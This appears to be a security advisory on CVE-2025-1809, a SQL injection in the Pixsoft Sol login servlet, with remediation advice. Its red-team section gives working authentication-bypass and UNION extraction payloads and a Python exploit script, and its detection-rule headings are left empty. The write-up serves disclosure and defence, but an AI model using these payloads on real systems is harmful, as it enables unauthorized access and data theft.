CVE-2025-1809

Executive Summary

CVE-2025-1809 is a critical SQL injection vulnerability discovered in Pixsoft Sol up to version 7.6.6c. The flaw resides in the login endpoint, specifically within the /pix_projetos/servlet file, where the txtUsuario parameter is improperly sanitized. An unauthenticated attacker can exploit this remotely to execute arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full system compromise. The vendor has not responded to disclosure, and no official patch is available. Public exploit code has been released, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary Java-based application (Pixsoft Sol) deployed on-premises or in private cloud environments. No open-source package registry is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code exists. Immediate action is required.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the login endpoint of Pixsoft Sol. The application constructs a SQL query by directly concatenating user-supplied input from the txtUsuario parameter without proper sanitization or parameterized queries. An attacker can inject SQL commands by manipulating this parameter, leading to unauthorized database access.

Affected Component: /pix_projetos/servlet?act=login&submit=1&evento=0&pixrnd=0125021816444195731041

Vulnerable Parameter: txtUsuario

Attack Vector: HTTP POST/GET request to the login servlet with a crafted txtUsuario value.

Example Injection: ' OR '1'='1' --

This would bypass authentication and potentially allow the attacker to execute arbitrary SQL statements.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a conceptual comparison.

Vulnerable Code (Java Servlet):

String usuario = request.getParameter("txtUsuario");
String query = "SELECT * FROM usuarios WHERE usuario = '" + usuario + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (Conceptual):

String usuario = request.getParameter("txtUsuario");
String query = "SELECT * FROM usuarios WHERE usuario = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, usuario);
ResultSet rs = pstmt.executeQuery();

The patched version uses parameterized queries to prevent SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Pixsoft Sol <= 7.6.6c
• Network access to the login endpoint

Exploit Steps:

1. Identify the login endpoint: http://target/pix_projetos/servlet?act=login&submit=1&evento=0&pixrnd=0125021816444195731041
2. Craft a malicious txtUsuario parameter to perform SQL injection.

Example Payload (Authentication Bypass):

POST /pix_projetos/servlet?act=login&submit=1&evento=0&pixrnd=0125021816444195731041 HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

txtUsuario=' OR '1'='1' -- &txtSenha=anything

Example Payload (Data Exfiltration):

POST /pix_projetos/servlet?act=login&submit=1&evento=0&pixrnd=0125021816444195731041 HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

txtUsuario=' UNION SELECT username, password FROM users -- &txtSenha=anything

Automated Exploit (Python):

import requests

target = "http://target/pix_projetos/servlet"
params = {
    "act": "login",
    "submit": "1",
    "evento": "0",
    "pixrnd": "0125021816444195731041"
}
data = {
    "txtUsuario": "' OR '1'='1' --",
    "txtSenha": "anything"
}
response = requests.post(target, params=params, data=data)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL error messages in application logs.
• Look for requests containing SQL keywords (e.g., OR, UNION, SELECT) in the txtUsuario parameter.
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Honeypot:

• Deploy a decoy Pixsoft Sol instance to capture attacker behavior.

Lab Setup:

• Use Docker to create an isolated environment with Pixsoft Sol 7.6.6c.
• Simulate attacks using the provided payloads and monitor logs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /pix_projetos/servlet with txtUsuario containing SQL keywords.
  • Unusual SQL error messages in HTTP responses (e.g., You have an error in your SQL syntax).
• File IOCs:
  • Log entries showing SQL injection attempts in application logs.
• System IOCs:
  • Unexpected database queries or data exfiltration.
  • New user accounts created in the application database.

Detection Engineering

YARA Rule

Sigma Rule

Suricata Rule

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the internet if possible.
2. Apply virtual patching using a WAF to block SQL injection patterns.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Since no official patch exists, consider migrating to an alternative solution or implementing a custom fix by rewriting the login endpoint to use parameterized queries.
• Contact Pixsoft for an official patch or security update.

Compensating Controls:

• Implement strict input validation and output encoding.
• Use a database firewall to monitor and block malicious queries.
• Enable detailed logging and alerting for suspicious database activity.

Valters IT
DevSecOps & Cyber Threat Intelligence